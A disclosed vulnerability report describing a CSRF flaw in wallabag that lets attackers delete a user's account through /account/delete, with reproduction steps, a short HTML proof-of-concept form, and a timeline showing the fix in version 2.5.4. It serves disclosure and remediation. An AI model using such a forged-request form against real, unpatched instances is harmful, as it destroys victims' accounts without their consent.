CSRF leading to delete account in wallabag/wallabag


Reported on

Jan 4th 2023


wallabag was discovered to contain a Cross-Site Request Forgery (CSRF) which allows attackers to arbitrarily delete user accounts via /account/delete.

Proof of Concept

  1. Create a new user.
  2. Login as the new user.
  3. Open the following HTML file in the browser.
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/account/delete">
      <input type="submit" value="Submit request" />


This vulnerability is capable of tricking a user to delete their own account.

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Jérémy Benoist validated this vulnerability a year ago
bauh0lz has been awarded the disclosure bounty
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Jérémy Benoist marked this as fixed in 2.5.4 with commit 268372 a year ago
Jérémy Benoist has been awarded the fix bounty
This vulnerability has now been published a year ago
wallabag/wallabag maintainer gave praise a year ago
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